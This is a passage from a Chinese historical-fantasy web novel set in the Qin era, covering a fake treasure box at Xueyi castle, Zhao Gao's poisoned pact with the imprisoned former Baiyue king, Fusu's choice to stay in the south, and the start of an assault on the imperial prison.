即使历经岁月和战火,依旧散发着一种令人不适的森寒气息。
城堡多数区域已然坍塌破败,被枯藤和积雪覆盖,唯有主体结构还顽强地屹立着,如同一个死去的巨人骨架。
赢子夜一行人抵达时,月神与大司命,还有逆流沙的人早已等候在城堡那扭曲巨大的铁门外。
三拨人汇合,气氛略显微妙。
“公子。”
月神微微颔首,算是见礼。
大司命则站在稍后位置,妖娆的目光扫过赢子夜身后的少司命和……
脸色复杂,气息已恢复大半的焰灵姬,眼中闪过一丝诧异,但并未多问。
“情况如何?”
赢子夜直接问道。
月神清冷的声音将前几日遭遇那些伪装成暗河的**,以及对方且战且退,似在故意引诱纠缠之事简要叙述了一遍。
“彼辈手段阴毒诡谲,却意在拖延,而非死战。”
“最终皆以诡异遁术脱身,难以追踪。”
月神总结道,淡紫色的眼眸中带着一丝沉思。
赢子夜听完,黑眸微眯,指尖无意识地摩挲着。
他看向那如同恶魔巨口般的城堡入口,缓缓道:“刻意吸引你们的注意力,却又将战场选在靠近这雪衣堡的区域……”
“其目的,显然并非阻止你们前来,反而像是…生怕你们不来,或者,来得不够快。”
大司命蹙眉:“不是阻止?那他们是何意?总不会是好心给我们带路吧?”
“这就是蹊跷之处。”
赢子夜目光锐利。
“若他们目标也是宝盒,此刻应该潜伏在城堡附近,伺机抢夺,而不是提前暴露,打草惊蛇。”
“他们的行为,矛盾重重。”
他沉吟片刻,摇了摇头。
“但其真正目的,本公子一时也难以看透。”
“罢了,既已至此,无论如何,先取了宝盒再说。”
他看向焰灵姬:“带路吧!你所说可能藏宝之处。”
焰灵姬感受到众人目光,尤其是月神和大司命那审视的眼神,让她颇不自在。
但她还是深吸一口气,指着城堡深处。
“白亦非生性多疑,狡兔三窟。”
“据我所知,他最可能藏匿重宝之处有三!”
“一是其寝殿下的冰窖密室。”
“二是城堡东侧废弃的观星塔暗格。”
“三是……城堡最底层,靠近地脉寒泉的祭坛。”
“分头查找!”
赢
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子夜下令。
月神、大司命率部分阴阳家弟子前往观星塔。
卫庄带着逆流沙的人搜查底层祭坛。
赢子夜则带着少司命、焰灵姬以及赵戈苍的暗河护卫,直奔主体寝殿。
寝殿内更加破败,积满灰尘,但依旧能看出曾经的奢华与阴冷。
找到机关,开启冰窖密室的过程也出乎意料的顺利。
密室内寒气刺骨,四周摆放着一些早已失效的刑具和散落的玉简。
而在密室中央的一方寒玉台上,赫然放着一个样式古旧、表面雕刻着模糊星辰图案的青铜盒子!
找到了?!
众人精神一振。
焰灵姬更是松了口气,仿佛证明了自己的价值。
一名暗河护卫上前,小心翼翼地将青铜盒捧起,一番检查后,呈到赢子夜面前。
赢子夜接过青铜盒,入手冰凉沉重。
他仔细打量着上面的纹路,手指拂过那些星辰刻痕,眼神却逐渐冷了下来!
这盒子……
看似古旧,做工也极力模仿。
但其材质细微处的光泽,以及那星辰图案中几处关键的,本应蕴含特殊韵味的节点,却显得粗糙而呆板!
缺乏真正古老传承之物应有的灵韵和岁月沉淀感。
更重要的是,盒子本身,没有任何力量波动!
就像一个精致的仿制品。
赢子夜猛地抬头,冰冷的目光如同实质般刺向焰灵姬!
“这就是你所说的宝盒?”
他的声音不高,却带着令人心悸的寒意,整个密室的温度仿佛又骤降了几分!
焰灵姬被他看得浑身一颤,脸色瞬间煞白,急忙道:“我…我当时只是惊鸿一瞥,并未细看……”
“但样式和气息确实很像……”
赢子夜根本不信,一步踏出,瞬间出现在焰灵姬面前!
右手快如闪电,直接扼住了她雪白的脖颈,将其微微提离地面!!
强大的力量让焰灵姬瞬间窒息,俏脸涨红,徒劳地挣扎着!
“说!你到底有何目的?”
“将本公子引至此地,是想埋伏?还是另有所图?!”
赢子夜眼中杀机毕露,他最恨被人愚弄!
“唔…放…放手……”
焰灵姬艰难地喘息着,眼中充满了惊恐和委屈,泪水在眼眶中打转。
“我…我没有骗你…我真的看见了…就在这!”
“类似的盒子……”
少司命静静站在一旁,紫眸看着这一幕,并未出声。
赢子夜死死盯着焰灵姬的眼睛,那双媚眼中此刻只有纯粹的恐惧、痛苦和一丝被冤枉的绝望,不像作伪。
他冷哼一声,松开了手。
焰灵姬摔落在地,捂着脖子剧烈咳嗽,大口喘息,眼泪终于忍不住滑落下来,带着哭腔!
“我若想害你,何必自曝其短,将雪衣堡的秘密告诉你……”
“我若另有图谋,又岂会甘心受你禁制,跟你来此冒险?”
赢子夜眉头紧锁。
确实,焰灵姬的逻辑是通的。
她没必要编造一个如此容易被戳穿的谎言。
但这盒子确实是假的!
以白亦非的性格,用假盒子迷惑外人,倒真像是他的手笔。
那么……
真正的宝盒,究竟在何处?
难道早已被白亦非转移?
或者,连焰灵姬看到的,都只是他想让人看到的假象?
赢子夜看着手中那冰冷的仿制品,又看了看地上梨花带雨的焰灵姬,再想到之前那批行为诡异的**……
重重迷雾,似乎再次笼罩而来。
第242章 引蛇出洞!
半柱香后。
月神、卫庄等人折返。
都没有收获。
雪衣堡冰冷的密室内,气氛压抑。
那个假宝盒如同一个嘲讽,摆在众人面前。
赢子夜的目光扫过众人,最终落在了赤练身上。
“红莲公主,”
赢子夜的声音打破了沉寂。
“你久居韩宫,后又追随卫庄先生,对夜幕、对白亦非,应比旁人了解更多。”
“依你之见,这真宝盒,会在何处?”
赤练闻言,娇艳的脸上露出一丝复杂的追忆和苦涩。
她摇了摇头,声音带着一丝慵懒却难掩落寞。
“公子抬举了。”
“我离开韩国时,自身难保,如同丧家之犬,哪还顾得上什么宝盒?至于白亦非……”
她顿了顿,眼中闪过一丝忌惮。
“那人心思深沉如海,行事莫测。”
“我只听闻,韩国将亡之际,他似乎与天泽太子有过短暂合作,却又互相算计,最终…据说是在内外交困下,自尽于韩宫深处。”
“他死后,夜幕树倒猢狲散,其遗产下落,无人知晓。”
“天泽?”
赢子夜眉头再次蹙起。
线索似乎又绕回了这个已死的敌人身上。
“难道被他带走了?”
他看向焰灵姬。
焰灵姬此刻已缓过气,但脖颈上依旧留有红痕,她连忙摇头,语气肯定。
“绝无可能!”
“天泽他一心追求力量,若有此等重宝,定会拿来修炼或要挟,绝不会秘而不宣。”
“我从未见他持有或提及过类似之物。”
赢子夜沉默片刻,手指轻轻敲击着那冰冷的假盒子。
白亦非已死,天泽已灭,线索似乎彻底断了。
“赵弋苍。”
“卑职在!”
“立刻动用所有能动用的渠道,给本公子仔细查!”
“查当年白亦非自尽前后的所有细节,查夜幕其他核心成员的最终下落和遗产流向!”
“哪怕是最微不足道的蛛丝马迹,也不许放过!”
赢子夜声音冷冽,带着不容置疑的命令。
“诺!”
赵弋苍领命,立刻转身出去安排。
这时,月神轻声开口,带着一丝疑惑。
“公子,既然此盒为假,我等是否应继续暗中查访?”
“如此大张旗鼓调查往事,恐打草惊蛇。”
赢子夜闻言,嘴角却勾起一抹冰冷而带着算计的弧度。
“暗中查访?不。”
他拿起那假盒子,目光幽深。
“传令下去,就说……我们已在雪衣堡,找到了想要的‘东西’。”
众人皆是一怔,不解地看向他。
大司命挑眉:“公子,这是为何?这明明是个假的……”
“正因为是假的,才好用。”
赢子夜冷笑一声,眼中闪烁着洞察一切的光芒。
“那些躲在暗处的人,既然千方百计想把我们的注意力吸引到这里……”
“那他们真正在意的,或许是别的事情。”
他顿了顿,语气斩钉截铁。
“只有我们宣称找到了,让所有人都以为宝盒已落入我手!”
“那些真正知情的,别有用心的…才会忍不住跳出来!”
“狐狸,只有当你举起猎物的那一刻,它才会忍不住露出尾巴!”
引蛇出洞!
这才是赢子夜真正的目的!
……
小圣贤庄。
后山,竹林深处。
一间清雅僻静的书斋内。
张良一袭青衫,凭窗而立,窗外竹影婆娑。
清风拂过,带来沙沙声响,却吹不散他眉宇间那抹凝重的深思。
他早已从波澜壮阔却又血腥残酷的百越战场悄然返回。
重新披上了那身儒雅的衣冠。
仿佛从未离开过这片宁静的圣地。
然而,他怀中那冰冷而沉重的触感,却无时无刻不在提醒着他,风暴从未远离。
只见一枚样式古拙,表面雕刻着神秘星辰图案的青铜宝盒,正静静躺在他的衣襟之内。
这,才是真正的,属于韩国的那个苍龙七宿宝盒!!!
窗外。
一名儒家弟子恭敬地禀报着刚刚收到的,来自颍川郡的惊人消息。
秦公子赢子夜亲赴韩旧地,直扑雪衣堡,并对外宣称……
已寻获宝盒!
张良听完,脸上并无太多意外之色。
只是那双总是蕴含着智慧与温和的眼眸,瞬间变得无比锐利和深邃,仿佛能洞穿千里之外的迷雾。
“果然……还是找到了那里。”
他低声自语,语气中带着一丝复杂难
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明的感叹。
“白亦非,你自以为藏得隐秘,却终究瞒不过真正有心之人。”
当年韩国夜幕笼罩,血衣侯白亦非权倾朝野,更是暗中觊觎宝盒之力。
正是他,张良,凭借超凡的智计和对人心的把握。
巧妙布局。
利用天泽与白亦非之间的矛盾,最终促使二人反目,间接导致了白亦非的败亡。
而他,则在那场混乱中,神不知鬼不觉地取走了这真正的宝盒。
并以一个精心仿制的假盒迷惑世人,将其留在雪衣堡那冰冷的密室之中!
本以为此事已随着白亦非的死,韩国的灭而彻底沉寂。
却没想到,赢子夜竟如此快就顺着蛛丝马迹,直指核心!!!
“赢子夜……”
张良的指尖无意识地划过窗棂,嘴角泛起一丝苦笑。
“你找到的,不过是我当年留下的弃子罢了。”
“你此举…是试探?迷惑?”
“还是……已然怀疑到了什么?”
他深知赢子夜的可怕,那是一个心思缜密,手段莫测的对手。
其宣称找到宝盒,绝非无的放矢!!
很可能,对方已经怀疑宝盒早已易主,甚至……怀疑到了他张良的头上!
小圣贤庄,看似超然物外,实则早已在帝国的注视之下。
此地,已非宝盒的安全之所!
“不能再留在身上了。”
张良深吸一口气,做出了决断。
宝盒在他这里,就像一盏明灯,迟早会将所有的危险都吸引过来,不仅会危及自身,更会连累整个小圣贤庄和儒家。
他的目光投向远方,仿佛穿越了千山万水,落在了某个具体的地点。
“博浪沙……”
他喃喃念出这个名字。
那里地势复杂,村落散布,水流纵横,更兼地处交通要冲,人员往来频繁。
反而易于隐藏踪迹,混淆视听。
将宝盒秘密转移至彼处一寻常村落,找个可靠之人暂为保管,或埋于某处不起眼的角落,应是眼下最稳妥的选择!
心思既定,张良转身,目光恢复平静,却更深沉。
他需要找一个绝对可靠的时机和方式,在不引起任何注意的情况下,完成这次转移。
为这烫手的山芋,找到一个暂时的…避风港。
第243章 凶棋!
咸阳。
中车府令官署。
烛火摇曳,将赵高那张苍白无须的面孔映照得半明半暗,如同戴着一张精致的面具。
他正慢条斯理地批阅着各地送来的,看似寻常的政务文书。
指尖纤细苍白,动作优雅得近乎阴柔。
忽然,窗棂传来极轻微的一声“嗒”。
仿佛夜鸟啄击!
赵高批阅的动作没有丝毫停顿,甚至连眼神都未曾抬起。
只是左手微不可察地对着阴影处一拂。
一道几乎与黑暗融为一体的身影如烟般滑入,无声跪地,双手高举过顶,呈上一枚细小的、用特殊火漆封存的铜管。
赵高这才缓缓放下笔。
伸出那双保养得极好的手,取过铜管,指尖轻轻一碾。
火漆碎裂!
他抽出里面卷得极紧的纸条,缓缓展开。
纸条上的字迹很小,却清晰无比。
记录着来自南疆最紧急、最隐秘的线报。
当看到“百越王狰战死”、“太子天泽伏诛”、“兽神军覆灭”、“赢子夜已完全掌控南疆”等字眼时。
赵高那古井无波的脸上,嘴角竟缓缓地,一点一点地向上勾起!
那笑容,没有半分温度。
反而像是一条毒蛇终于看到了猎物落入陷阱时的阴冷与满意。
“呵……呵呵……”
极其低沉,仿佛从喉咙深处挤出的笑声在寂静的官署内回荡,令人毛骨悚然!
“好得很呐……”
他低声自语,指尖轻轻划过“赢子夜”三个字,眼神幽深得如同万丈寒潭。
“六公子…你倒是比咱家想的,还要能干得多。”
“这么快就替帝国扫平了南疆,也替咱家…清理了不少麻烦。”
百越王**,天泽也**。
这意味着,许多见不得光的秘密,或许就随着他们的死,彻底埋葬了。
而赢子夜的声望和实力,也必然因此战而急剧膨胀!!
这对他赵高而言,既是威胁,也是……
新的机会。
他缓缓站起身,那身彰显着帝国权贵身份的官袍,在他身上却显得格外阴森。
他走到屏风后,动作熟练地褪去官袍,换上了一身毫不起眼,料子却极为考究的深色常服。
甚至用一方普通的头巾遮住了半张脸。
如同一个最普通的富家老。
赵高悄无声息地从中车府令官署的侧门离开,身影迅速融入咸阳街巷的夜色之中。
他需要亲自去一趟。
不是以中车府令的身份,而是以罗网真正主人的身份!
有些棋,到了该落子的时候了。
有些新的“合作”对象,也该去亲自见一见了。
赢子夜的胜利,对很多人来说是终结!
但对他赵高而言,却恰恰是另一场更宏大,更黑暗的…棋局。
……
帝宫。
九重牢狱最深处。
这里的空气粘稠得如同墨汁,弥漫着万年不化的阴冷、腐朽以及一丝极淡却令人心悸的疯狂气息。
光线几乎无法透入。
唯有墙壁上几盏跳跃着幽蓝火焰的长明灯,提供着微不足道的照明。
反而将此地映衬得更加诡异!
一道被无数粗大玄铁锁链贯穿四肢、琵琶骨,甚至缠绕着脖颈的身影,蜷缩在角落的阴影里。
他衣衫褴褛,长发污秽遮面,露出的皮肤上布满了古老的,与狰相似的飞蛇图腾刺青。
只是更加复杂邪异。
他便是上一任百越王!
狰的弟弟!
那位在封印九魔后神秘消失的王者——
螭。
沉重的脚步声打破了死寂!
一个披着宽大黑色斗篷,完全遮住了身形面容的身影,如同幽灵般无声无息地出现在牢门外。
守卫此地的狱卒早已不知所踪,显然已被提前调开或处理。
角落里的螭猛地抬起头!
污秽的长发下,露出一双充满了暴戾、痛苦和极度压抑疯狂的猩红眼眸,死死盯住那黑袍人!
他认得这个气息!
这些年来,正是这个神秘人偶尔出现,带来一些特殊的“药物”和食物。
才让他在这暗无天日的折磨中,非但没有油尽灯枯,反而暗中恢复了不少力量!
“你来了……”
螭的声音沙哑得如同砂纸摩擦,带着野兽般的低吼。
“这次…又带了什么?”
黑袍人赵高,并未回答他的问题。
只是用那经过改变的,低沉而漠然的声音,缓缓开口。
“你的百越,被踏平了。”
螭的身体猛地一僵!!
赵高继续用那毫无波澜的语调,投下更残酷的消息。
“你的兄长,狰…战死沙场,尸骨无存。”
“你的好侄儿,天泽,弑父篡位,修炼邪功,最终也被秦公子赢子夜…形神俱灭!”
“你说什么?!!”
螭猛地挣扎起来,身上的玄铁锁链发出令人牙酸的绷紧声和摩擦声!!
狂暴的气息如同实质般从他体内爆发出来,冲击着牢笼!
那猩红的眼中瞬间被无尽的愤怒、仇恨和某种扭曲的快意所充斥!
“狰**?!那个篡位者**?!哈哈哈!死得好!死得好啊!”
“还有天泽那个小杂种!也**?!哈哈哈!”
他状若疯魔,又哭又笑,被囚禁无数年的怨毒和家族覆灭的消息彻底刺激了他本就濒临崩溃的神经!
等他发泄了好一阵,赵高才再次冷漠开口。
“你想出去吗?”
简单的五个字,如同最有效的镇静剂,瞬间让螭的疯狂停滞了下来。
他喘着粗气,猩红的眼睛死死盯着黑袍人,充满了极致的渴望和怀疑。
“你…你能放我出去?”
“条件!什么条件?!”
赵高缓缓道:“我要你离开这里后,带着你当年封印的九魔,前往帝国北疆苦寒之地隐匿起来。”
“没有我的信号,不得踏足中原半步!”
赵高的语气不容置疑。
“必要之时,我会暗中传信于你,届时,你需率九魔,助我一臂之力。”
“待事成之后,你我两清,各不相干!”
螭闻言,狂躁的情绪稍稍冷静,眼中闪过狡诈和警惕:“你就不怕我出尔反尔?”
赵高发出极其轻微,仿佛毒蛇嘶鸣般的笑声:“你大可以试试。”
“这些年来,你以为我给你的那些‘补药’是什么?”
“那是‘牵机引’!!!”
“天下至毒之一,亦是激发潜能的猛药!”
“若无我的独门解药定期压制,你必经脉寸断、神魂溃散而亡,死得痛苦无比!”
螭的脸色瞬间变得惨白如纸,眼中第一次露出了真正的恐惧!
他下意识地内视自身。
果然发现经脉深处盘踞着一股极其隐晦,却与他生命力纠缠在一起的阴寒毒力!
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若非赵高点明,他可能永远也不会发现!
“你……你好毒的手段!”
螭的声音因恐惧而颤抖。
“彼此彼此。”
赵高语气恢复漠然。
“所以,你无需担心我事后灭口,你需要解药。”
“而我,也需要你那九魔的力量。”
“这是我们之间,最好的保障。”
“现在,告诉我你的选择。”
“是永远烂死在这暗无天日的牢底,还是出去?并拿回你应得的一切?”
螭剧烈地喘息着,眼神疯狂闪烁!
最终,所有的挣扎、愤怒、恐惧,都化为了一种破釜沉舟的疯狂和狠厉!
“好!我答应你!”
他几乎是咬着牙吐出这几个字。
“解药!给我解药!放我出去!”
“明智的选择。”
赵高似乎早就料到这个答案,屈指一弹,一枚散发着奇异腥味的药丸穿过牢门缝隙,精准地落入螭的手中。
“这是三个月的量。”
“事成之后,自会予你彻底根治之法!”
说完,赵高不再多言,转身,身影如同融入黑暗般缓缓消失。
只留下牢房中,螭死死攥着那枚救命的**,看着黑袍人消失的方向,眼中充满了对新生的渴望,对复仇的火焰,以及一丝深深的,对那黑袍人的恐惧与忌惮。
黑暗的甬道中,赵高嘴角那抹阴冷的笑容再次浮现。
棋子,又落下了一颗。
而且,是一颗足以搅动天下风云的……
凶棋!!!
……
百越旧地,群山深处。
一处名为“百蛮冢”的绝地。
这里与南疆常见的葱郁截然不同。
放眼望去,尽是灰黑色的,仿佛被烈火焚烧过又经万年风化的嶙峋怪石。
土地干裂,寸草不生!
空气中,也弥漫着一种令人窒息的死寂和淡淡的硫磺臭味。
无数巨大的,不知属于何种生物的苍白骨骸半掩在砂石之中。
如同一片死亡的坟场!
荒凉、诡异,令人望而生畏。
掩日与六剑奴如同七尊冰冷的杀神,矗立在一处较高的断崖上,俯视着下方那片仿佛被巨斧劈开的山谷入口。
那里便是“百蛮冢”的核心区域!
而山谷入口处,弥漫着肉眼可见扭曲空间的灰黑色雾气。
即便相隔甚远,也能感受到其中散发出吞噬一切生机的可怕气息。
此前根据多方线索排查的“蛇岭”、“枯骨涧”两处疑似封印地,已被他们以残酷手段排除。
派去的探子要么一无所获,要么死于各种天然陷阱。
但并未出现眼前这种诡异的景象。
“大人,就是这里了。”
真刚的声音透过面具,带着一丝压抑的兴奋。
“前两处皆无此等异象。”
掩日那双隐藏在面具后的眼睛,死死盯着山谷入口那扭曲的灰雾,缓缓点头。
他能感觉到,怀中那枚来自赵高的,对特定能量有感应的特殊罗盘,正在微微发烫。
指针牢牢指向山谷深处。
“派一队人,进去。”
掩日的声音冰冷无情,没有丝毫波澜。
数名被罗网控制的,眼神麻木的百越土著探子。
在身后罗网**的逼迫下,战战兢兢地一步一步挪向那山谷入口。
当他们小心翼翼地踏入那灰黑色雾气的范围时。
异变陡生!!!
第244章 杀招已现!
那原本看似缓慢流动的灰雾骤然沸腾!
如同拥有生命的贪婪巨口,猛地缠绕上那些探子!
“呃啊!!!”
凄厉短促到极点的惨叫骤然响起,又戛然而止!
在掩日、六剑奴以及所有罗网**冰冷的注视下,那几名探子的身体以肉眼可见的速度疯狂干瘪下去!
皮肤失去光泽!
血肉瞬间消融!
仿佛体内的所有水分和生命力都在刹那间被强行抽干!
不到一息时间!
原地只剩下几具保持着惊恐挣扎姿势的皮包骨头干尸。
随即咔嚓作响,碎成了一地齑粉,被山风吹散,仿佛从未存在过!!
整个山谷入口再次恢复了死寂,只有那灰黑色的雾气似乎变得更加浓郁了一丝。
断崖之上,一片寂静。
然而,掩日那冰冷的面具下,却发出了一声极其轻微,却充满了无尽贪婪和喜悦的叹息。
“找到了…就是这里!”
他的声音因为激动而微微有些变形:“如此纯粹的……吞噬生机之力!”
“绝不会错,这便是封印那九魔的入口之一!”
他猛地转身,看向身后一名负责通讯的罗网**。
“立刻以最高密级,将此地的确切位置和情况传回咸阳!”
“禀报赵高大人,九魔封印之地…已确认!”
“诺!”
那名**领命,迅速消失。
掩日再次将目光投向那死亡山谷,眼中闪烁着疯狂而冷酷的光芒。
“准备‘祭品’。”
他对着六剑奴下令,语气平淡得像是在说准备晚餐。
“需要足够多的活人气血,才能暂时冲淡这入口的吞噬之力,为我们打开一条通道。”
六剑奴无声颔首,眼神同样冰冷嗜血。
对于罗网而言,最不缺的,就是“祭品”。
……
百越。
经过旬日的修整,这里褪去了战火硝烟,竟显出一种难得的宁静。
阳光洒在刚刚清理完毕,开始重建的王庭广场上。
工匠和士卒们忙碌着。
虽依旧忙碌,却少了那份肃杀,多了几分生机。
赢子夜一袭玄衣,立于临时改建的行宫廊下,目光扫过井然有序的营地,眉头却几不可查地微微蹙起。
他从韩地匆匆返回,心中总萦绕着一丝若有若无的疑虑。
那些伪装暗河的**,那个被刻意放置的假宝盒……
其背后目的,绝非仅仅为了引开注意力那么简单。
扶苏正与几名文吏交代着事务。
见赢子夜出来,便快步上前。
他脸色比之前红润了许多,眉宇间虽仍有儒雅,却也多了几分经事后的沉稳。
“六弟,你回来了。”
扶苏语气温和,带着关切,“韩地之事可还顺利?昨日见你神色凝重,可是有何变故?”
赢子夜收回目光,看向扶苏:“兄长,我离开这几日,南疆各处,可有何异常?”
“特别是关于封印、古墓,或者特殊能量波动之类的传闻?”
扶苏闻言一怔,仔细回想片刻,摇了摇头:“并无此类奏报。”
“蒙毅将军清剿残匪颇为顺利,各归降部落也还安分,王贲老将军与王离正在勘测水道地形,筹备修渠之事。”
“一切皆按六弟你离去前的安排进行,并未听说有何异常。”
一旁的少司命静静立着,紫眸微转,轻声道:“夫君是否多虑了?”
“或许那些人的目标,确只在韩地宝盒。”
赢子夜沉默片刻,指尖无意识地摩挲着玉扳指,最终缓缓道:“或许吧,但愿是我想多了。”
但他眼底那抹深思却并未完全散去。
直觉告诉他,事情没那么简单。
只是眼下毫无头绪,也只能暂且按下。
接下来的几日。
赢子夜并未立刻投入繁忙的政务,反而更像是在休整,实则暗中调动暗河的力量。
加大了对南疆各地,特别是那些偏远险绝之地的监控力度。
而扶苏。
则真正展现出了让赢子夜都有些刮目相看的一面。
他不再是那个只知在书房诵读诗书,忧国忧民的温润公子。
每日天未亮,他便起身。
带着一队文吏和护卫,亲自前往各处正在勘测的河道,规划的道路工地。
他从不摆公子架子,甚至会挽起袖子,与那些精通水利工事的公输家弟子一同讨论渠坝的选址和结构,仔细询问遇到的困难。
“此处山岩坚硬,开挖难度极大,是否可考虑绕行?”
“虽距离稍远,但长远来看,或许更省人力物力?”
扶苏指着地图上一处标记点,虚心求教。
公输家的弟子见长公子如此平易近人且切中要害,也放开胆子畅所欲言。
“长公子所言极是,只是绕行需经过一片沼泽,地基处理恐更麻烦……”
“沼泽地基……”
扶苏凝神思索,“我记得典籍中有记载,可用巨木打桩,混合石灰夯实的法子,或可一试?”
“所需巨木,可从旁边已归降的‘黑木部’采购,亦可安抚其心。”
他又前往负责绘制地图的营地。
看着那些标注着复杂地形和瘴气区域的草图,感叹道:“南疆地貌果然迥异中原,若非亲眼所见,精准绘制,日后大军行进,物资输送,必受阻隔。”
“诸位辛苦了,务必求详求准!”
他甚至会关心最基层士卒和民夫的伙食与医疗保障,下令务必足量供应,若有伤病,需及时救治。
这些细微处的关怀。
让他迅速赢得了不少底层军民的由衷爱戴。
赢子夜偶尔会站在远处,看着扶苏忙碌却充实的身影。
看着他与将领、工匠、甚至土著部落头人认真交谈
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的模样。
眼中闪过一丝不易察觉的赞许。
这一战,这位兄长,确实成长了许多……
一日傍晚。
兄弟二人在行宫庭院中对坐用餐。
扶苏放下羹匙,神色认真地对赢子夜道:“六弟,为兄已于三日前,将南疆大捷,百越平定,以及六弟你居功至伟的详情,具表呈报于父皇了。”
“此次南征,若无六弟你运筹帷幄,决胜千里,绝无可能如此顺利收官。”
“为兄定会在父皇面前,为你请功!!!”
赢子夜闻言,只是淡淡地喝了口茶,语气平静无波:“有劳兄长费心。”
“不过功过与否,父皇自有圣断。”
“你我臣子,尽力而为便是。”
他对所谓的请功封赏,似乎真的毫不在意。
他看向扶苏,话锋一转:“倒是兄长,南疆已定,不日便可启程返回咸阳了。”
“经此一役,兄长在父皇和朝臣心中,想必亦能有所改观。”
然而,扶苏却缓缓摇了摇头,目光坚定:“六弟,为兄不打算回去了。”
赢子夜执杯的手微微一顿,抬眼看他。
扶苏深吸一口气,坦然道:“此一战,为兄虽历经险境,却也看清了许多。”
“论运筹帷幄,临阵决断,为兄远不及六弟你。”
“论体察民情,实务操作,为兄亦有许多不足。”
“纸上得来终觉浅…这南疆**山河,百废待兴,正是最好的历练之所!”
他站起身,走到廊边,望着窗外渐渐亮起的灯火和远处苍茫的群山:
“为兄已另修表章,呈请父皇,允我暂留南疆,协助蒙毅将军、王贲老将军他们,负责这垦荒、修渠、绘图、安抚部落等一应内政建设之事。”
“这些事繁琐,却关乎帝国能否真正掌控这片土地,关乎万千生灵福祉!”
“为兄想留下来,做些实实在在的事情。”
他回头看向赢子夜,脸上带着温和却坚定的笑容:“也为父皇,真正分忧!”
赢子夜看着眼前的兄长,沉默了片刻。
他能看出扶苏眼中的真诚和决心。
那并非一时冲动,而是经过深思熟虑后的选择。
他深知,这位兄长需要的不是在咸阳的虚名。
而是在地方实务中的真正磨砺和功绩。
这样才能真正扭转他以往在众人心中“仁弱”的印象。
“既然兄长已做决断,弟便不再多言。”
赢子夜缓缓颔首,语气中多了一丝难得的郑重!
“南疆初定,百废待兴,确需一位能体恤民情,持重稳妥之人坐镇。”
“兄长愿意留下,于国于民,皆是好事!若有需弟相助之处,兄长尽管开口。”
扶苏闻言,脸上露出由衷的喜悦和释然,重重拱手!
“多谢六弟!”
兄弟二人相视一笑,许多尽在不言中。
第245章 九重牢狱异动!!!
咸阳。
章台宫。
烛火通明,映照着御案后那张威严莫测的面容。
嬴政身着玄色常服,头戴简易玉冠,正批阅着如山奏疏。
李斯垂手恭立在下首,殿内唯有竹简翻动和笔尖划过绢帛的细微声响。
突然。
殿外传来一阵极其急促却依旧保持着规矩的脚步声!
一名风尘仆仆,背后插着三根赤羽的信使几乎是扑倒在殿门外,声音因长途奔袭和激动而嘶哑变形。
“报——!八百里加急!南疆大捷!百越大捷!!!”
嬴政手中的朱笔微微一顿,抬起眼眸,那目光如同深潭,看不出喜怒。
李斯则立刻上前,从信使手中接过那封被汗水浸透却保存完好的火漆密函,快速检查后,躬身呈到御案之上。
嬴政拆开火漆,展开军报,目光迅速扫过其上文字。
终于,他那古井无波的脸上,嘴角缓缓勾起一丝极淡,却足以让整个殿堂温度回升的弧度。
“彩。”
一个字,平静无波,却重如山岳!!
李斯一直小心观察着皇帝神色。
闻听此字,心中巨石落地,立刻躬身贺道:
“陛下洪福!天佑大秦!”
“六公子神武,一举平定南疆,拓土千里,实乃不世之功!”
“臣为陛下贺!为大秦贺!!!”
嬴政微微颔首,目光继续下移,看到了军报后半部分。
是关于扶苏的**——
其自请留守南疆,负责垦荒、修渠、绘图、安抚等一应内政建设之事。
他看着那字里行间透露出的沉稳,务实和担当。
眼中的赞赏之色又浓了几分。
“扶苏……”
嬴政轻轻念了一遍长子的名字,语气中带着一丝难得的温和。
“经此一役,倒真是长进了不少。”
“知不足而求实干,不恋咸阳虚名,愿扎根边陲办实事…很好。”
李斯何等精明,立刻接口道:“长公子仁厚爱民,以往或失之宽柔,然此次南疆之行,能体察时艰,勇于任事,实乃陛下教诲之功,亦是大秦之福。”
“留守南疆,抚慰新附,确是上佳之选。”
嬴政将军报放下,身体向后靠在龙榻中,手指轻轻敲击着扶手。
“待子夜班师回朝之日,朕当亲设庆功宴,昭告天下,为其庆功!!”
“陛下圣明!”
李斯立刻应和,“六公子此功,当彪炳史册!”
“至于扶苏所请……”
嬴政目光转向李斯,“准了。”
“李斯,着你即刻从御史府、治粟内史府、以及将作少府中,遴选干练得力,精通农桑、水利、工造及吏治之官吏,组成一支精干团队,火速前往南疆,协助扶苏处理政务。”
他顿了顿,语气加重:“告诉他们,此去非为享乐,乃为帝国经略新土!”
“一切事宜,需听从扶苏调度!”
“务必使南疆之地,尽快步入正轨,成为帝国真正之郡县!”
“若有怠惰或阳奉阴违者…严惩不贷!”
“臣遵旨!”
李斯深深躬身,心中已然开始飞速盘算合适的人选。
这是一份苦差,却也是一份巨大的机遇,更是向陛下和两位公子展示能力的机会。
“另,”嬴政补充道。
“传讯蒙毅、王贲,南疆军务暂由蒙毅主理,王贲辅之。”
“需全力配合扶苏及后续抵达的政务官员,确保地方安稳。”
“一应钱粮物资,由丞相府协调,优先供给南疆。”
“诺!臣即刻去办!”
李斯领命,脚步匆匆却不失沉稳地退出章台宫,开始安排这一系列重大事宜。
殿内重归寂静。
嬴政独自一人,目光再次落在那份军报上。
看着“赢子夜”三个字,又看了看“扶苏”的**,深邃的眼眸中,闪烁着无人能懂的复杂光芒。
南疆已定,帝国版图再扩!
而他的儿子们,似乎也在这场战争中,找到了各自的位置。
这很好。
……
九重牢狱。
这里是大秦帝国最森严,最黑暗的囚笼。
深入地下,机关密布。
守卫皆是**挑一的锐士。
更有阴阳家高手布下的阵法加持,可谓固若金汤!
平日里,唯有沉重的脚步声和铁链拖曳声在幽深的甬道中回荡,死寂得令人窒息!
然而今夜。
这份死寂…被彻底打破!!
“敌袭!!!”
凄厉的警报声伴随着金属碰撞的锐响和短促的惨叫,猛地从最深处的牢区炸开!
阴影仿佛活了过来!
数十道如同鬼魅般的身影,以一种完全不符合物理规律的方式,从墙壁、从天花板、甚至从地板的缝隙中骤然钻出!
他们身着夜行衣,动作迅捷如电,无声无息,出手却狠辣绝伦,专攻要害!
值守的秦军锐士反应极快,瞬间结阵迎敌!
长戈如林,组成死亡丛林,**箭从刁钻的角度爆射而出!
但这些袭击者太过诡异!
他们仿佛没有实体。
能在间不容发之际融入阴影。
又从另一个意想不到的角度钻出!
**和短剑闪烁着淬毒的幽光,每一次闪现,都必然有一名秦军锐士捂着喉咙或心口闷哼倒地!
鲜血瞬间染红了冰冷的石壁!
更有袭击者直接化作道道黑烟,无视物理阻隔,穿透盾牌,直接攻击后面的士卒,吸取其精气!
“结镇魂阵!”
一名负责此处的阴阳家客卿怒吼着,双手掐诀,清光迸发,试图定住那些鬼魅身影!
